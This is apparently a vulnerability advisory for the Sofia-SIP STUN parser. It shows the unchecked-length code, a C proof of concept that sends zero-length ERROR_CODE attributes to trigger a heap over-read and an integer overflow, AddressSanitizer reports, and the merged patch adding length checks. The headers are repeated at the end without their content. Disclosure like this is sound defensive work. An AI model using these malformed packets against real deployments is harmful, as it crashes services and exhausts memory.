Referring to GHSA-8599-x7rq-fr54, several other potential heap-over-flow and integer-overflow in stun_parse_attr_error_code and stun_parse_attr_uint32 were found because the lack of attributes length check when Sofia-SIP handles STUN packets.
The previous patch of GHSA-8599-x7rq-fr54 fixed the vulnerability when attr_type did not match the enum value, but there are also vulnerabilities in the handling of other valid cases.
OVERVIEW
For example, in stun_parse_attr_error_code which handles the ERROR_CODE(0x09) attribute, heap-over-flow and integer-overflow can be produced as comments:
int stun_parse_attr_error_code(stun_attr_t *attr, const unsigned char *p, unsigned len) {
uint32_t tmp;
stun_attr_errorcode_t *error;
memcpy(&tmp, p, sizeof(uint32_t)); // potential heap-over-flow here when len < 4
tmp = ntohl(tmp);
error = (stun_attr_errorcode_t *) malloc(sizeof(*error));
error->code = (tmp & STUN_EC_CLASS)*100 + (tmp & STUN_EC_NUM);
error->phrase = (char *) malloc(len-3); // potential integer-overflow causing allocation-size-too-big when len < 3
strncpy(error->phrase, (char*)p+4, len-4); // if malloc failed, potential write to NULL
error->phrase[len - 4] = '\0'; // same as above
attr->pattr = error;
stun_init_buffer(&attr->enc_buf);
return 0;
}
IMPACT
The OOB read and integer-overflow made by attacker may lead to crash, high consumption of memory or even other more serious consequences.
REPRODUCTION
The POC is modified from the POC of GHSA-8599-x7rq-fr54:
// libsofia-sip-ua/stun/stun_attr_poc.c
// ./autogen.sh && CFLAGS="-fsanitize=address" LDFLAGS="-fsanitize=address" ./configure && make -j8 && cd libsofia-sip-ua/stun/
// gcc -fsanitize=address stun_attr_poc.c -I ../.. -I ../su -I ../url/ -I ../sip/ -I ../stun -o stun_attr_poc ../.libs/libsofia-sip-ua.a -lssl -lcrypto
// ./stun_attr_poc
#include "config.h"
#include "stun_internal.h"
#include <assert.h>
#include <string.h>
#include <stdlib.h>
#define STUN_HEADER_SIZE 20
#define STUN_ATTR_TYPE_SIZE 2
#define STUN_ATTR_LEN_SIZE 2
#define STUN_ATTR_VALUE_SIZE 0
// heap-over-flow in stun_parse_attr_error_code(), asan report see asan_report_1.txt
void poc_error_code_1() {
const size_t stun_message_size = STUN_HEADER_SIZE + STUN_ATTR_TYPE_SIZE + STUN_ATTR_LEN_SIZE + STUN_ATTR_VALUE_SIZE;
unsigned char *stun_message = calloc(1, stun_message_size);
if (stun_message == NULL)
{
perror("Failed to allocate stun_message");
exit(EXIT_FAILURE);
}
stun_message[3] = STUN_ATTR_TYPE_SIZE + STUN_ATTR_LEN_SIZE + STUN_ATTR_VALUE_SIZE;
stun_message[20] = 0x00; stun_message[21] = 0x09; // attr_type = ERROR_CODE
stun_message[22] = 0x00; stun_message[23] = 0x00; // len = 0, can pass the existing check to stun_parse_attr_error_code()
stun_msg_t request = {.stun_attr = NULL};
request.enc_buf.data = stun_message;
request.enc_buf.size = stun_message_size;
stun_parse_message(&request); // heap-over-flow when 'memcpy(&tmp, p, sizeof(uint32_t));'
free(stun_message);
}
// integer-overflow in stun_parse_attr_error_code(), asan report see asan_report_2.txt
void poc_error_code_2() {
const size_t stun_message_size = STUN_HEADER_SIZE + STUN_ATTR_TYPE_SIZE + STUN_ATTR_LEN_SIZE + STUN_ATTR_VALUE_SIZE + 10;
unsigned char *stun_message = calloc(1, stun_message_size);
if (stun_message == NULL)
{
perror("Failed to allocate stun_message");
exit(EXIT_FAILURE);
}
stun_message[3] = STUN_ATTR_TYPE_SIZE + STUN_ATTR_LEN_SIZE + STUN_ATTR_VALUE_SIZE + 10;
stun_message[20] = 0x00; stun_message[21] = 0x09; // attr_type = ERROR_CODE
stun_message[22] = 0x00; stun_message[23] = 0x00; // len = 0, can pass the existing check to stun_parse_attr_error_code()
stun_msg_t request = {.stun_attr = NULL};
request.enc_buf.data = stun_message;
request.enc_buf.size = stun_message_size;
stun_parse_message(&request); // integer-overflow when 'error->phrase = (char *) malloc(len-3);'
free(stun_message);
}
int main(void)
{
poc_error_code_1();
/* Remove the comment here and comment out `poc_error_code_1` to trigger integer-overflow. */
// poc_error_code_2();
return 0;
}
AddressSanitizer reports (The second report may not appear on a 64-bit system, please pay attention to the memory usage.):
=================================================================
==14824==ERROR: AddressSanitizer: heap-buffer-overflow on address 0xb5200b98 at pc 0x004246ad bp 0xbfe10598 sp 0xbfe1058c
READ of size 4 at 0xb5200b98 thread T0
#0 0x4246ac in stun_parse_attr_error_code /home/kali/Desktop/sofia-sip-stun/libsofia-sip-ua/stun/stun_common.c:253
#1 0x423bc5 in stun_parse_attribute /home/kali/Desktop/sofia-sip-stun/libsofia-sip-ua/stun/stun_common.c:167
#2 0x423567 in stun_parse_message /home/kali/Desktop/sofia-sip-stun/libsofia-sip-ua/stun/stun_common.c:109
#3 0x422e14 in poc_error_code /home/kali/Desktop/sofia-sip-stun/libsofia-sip-ua/stun/stun_attr_oob_poc.c:34
#4 0x422e97 in main /home/kali/Desktop/sofia-sip-stun/libsofia-sip-ua/stun/stun_attr_oob_poc.c:41
#5 0xb6e23294 in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58
#6 0xb6e23357 in __libc_start_main_impl ../csu/libc-start.c:381
#7 0x4229f6 in _start (/home/kali/Desktop/sofia-sip-stun/libsofia-sip-ua/stun/stun_attr_oob_poc+0x99f6)
0xb5200b98 is located 0 bytes to the right of 24-byte region [0xb5200b80,0xb5200b98)
allocated by thread T0 here:
#0 0xb78babab in __interceptor_calloc ../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:77
#1 0x422b8a in poc_error_code /home/kali/Desktop/sofia-sip-stun/libsofia-sip-ua/stun/stun_attr_oob_poc.c:20
#2 0x422e97 in main /home/kali/Desktop/sofia-sip-stun/libsofia-sip-ua/stun/stun_attr_oob_poc.c:41
#3 0xb6e23294 in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58
SUMMARY: AddressSanitizer: heap-buffer-overflow /home/kali/Desktop/sofia-sip-stun/libsofia-sip-ua/stun/stun_common.c:253 in stun_parse_attr_error_code
Shadow bytes around the buggy address:
0x36a40120: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x36a40130: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x36a40140: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x36a40150: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x36a40160: fa fa fa fa fa fa fa fa fa fa 00 00 04 fa fa fa
=>0x36a40170: 00 00 00[fa]fa fa fa fa fa fa fa fa fa fa fa fa
0x36a40180: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x36a40190: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x36a401a0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x36a401b0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x36a401c0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==14824==ABORTING
=================================================================
==2219==ERROR: AddressSanitizer: requested allocation size 0xfffffffd (0x800 after adjustments for alignment, red zones etc.) exceeds maximum supported size of 0xc0000000 (thread T0)
#0 0xb78baffb in __interceptor_malloc ../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:69
#1 0x413b14 in stun_parse_attr_error_code /home/kali/Desktop/sofia-sip-stun/libsofia-sip-ua/stun/stun_common.c:259
#2 0x412f4f in stun_parse_attribute /home/kali/Desktop/sofia-sip-stun/libsofia-sip-ua/stun/stun_common.c:167
#3 0x4128f1 in stun_parse_message /home/kali/Desktop/sofia-sip-stun/libsofia-sip-ua/stun/stun_common.c:109
#4 0x41219e in poc_error_code_2 /home/kali/Desktop/sofia-sip-stun/libsofia-sip-ua/stun/stun_attr_oob_poc.c:56
#5 0x412221 in main /home/kali/Desktop/sofia-sip-stun/libsofia-sip-ua/stun/stun_attr_oob_poc.c:65
#6 0xb6e23294 in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58
==2219==HINT: if you don't care about these errors you may set allocator_may_return_null=1
SUMMARY: AddressSanitizer: allocation-size-too-big ../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:69 in __interceptor_malloc
==2219==ABORTING
SUPPOSED PATCH
From c3bbc50c88d168065de34ca01b9b1d98c1b0e810 Mon Sep 17 00:00:00 2001
From: Xu Biang <[email protected]>
Date: Sat, 6 May 2023 05:51:55 +0800
Subject: [PATCH] stun: add checks for attribute length before read from it
Signed-off-by: Xu Biang <[email protected]>
---
libsofia-sip-ua/stun/stun_common.c | 9 +++++++++
1 file changed, 9 insertions(+)
diff --git a/libsofia-sip-ua/stun/stun_common.c b/libsofia-sip-ua/stun/stun_common.c
index 87523ea..5891269 100644
--- a/libsofia-sip-ua/stun/stun_common.c
+++ b/libsofia-sip-ua/stun/stun_common.c
@@ -250,6 +250,10 @@ int stun_parse_attr_error_code(stun_attr_t *attr, const unsigned char *p, unsign
uint32_t tmp;
stun_attr_errorcode_t *error;
+ if (len < 4) {
+ return -1;
+ }
+
memcpy(&tmp, p, sizeof(uint32_t));
tmp = ntohl(tmp);
error = (stun_attr_errorcode_t *) malloc(sizeof(*error));
@@ -271,6 +275,11 @@ int stun_parse_attr_uint32(stun_attr_t *attr, const unsigned char *p, unsigned l
{
uint32_t tmp;
stun_attr_changerequest_t *cr;
+
+ if (len < 4) {
+ return -1;
+ }
+
cr = (stun_attr_changerequest_t *) malloc(sizeof(*cr));
memcpy(&tmp, p, sizeof(uint32_t));
cr->value = ntohl(tmp);
--
2.40.0.windows.1
This patch has been merged in #214 .
CREDIT
Xu Biang, HUST CSE.
Referring to GHSA-8599-x7rq-fr54, several other potential heap-over-flow and integer-overflow in stun_parse_attr_error_code and stun_parse_attr_uint32 were found because the lack of attributes length check when Sofia-SIP handles STUN packets.
The previous patch of GHSA-8599-x7rq-fr54 fixed the vulnerability when attr_type did not match the enum value, but there are also vulnerabilities in the handling of other valid cases.
OVERVIEW
For example, in stun_parse_attr_error_code which handles the ERROR_CODE(0x09) attribute, heap-over-flow and integer-overflow can be produced as comments:
IMPACT
The OOB read and integer-overflow made by attacker may lead to crash, high consumption of memory or even other more serious consequences.
REPRODUCTION
The POC is modified from the POC of GHSA-8599-x7rq-fr54:
AddressSanitizer reports (The second report may not appear on a 64-bit system, please pay attention to the memory usage.):
SUPPOSED PATCH
This patch has been merged in #214 .
CREDIT
Xu Biang, HUST CSE.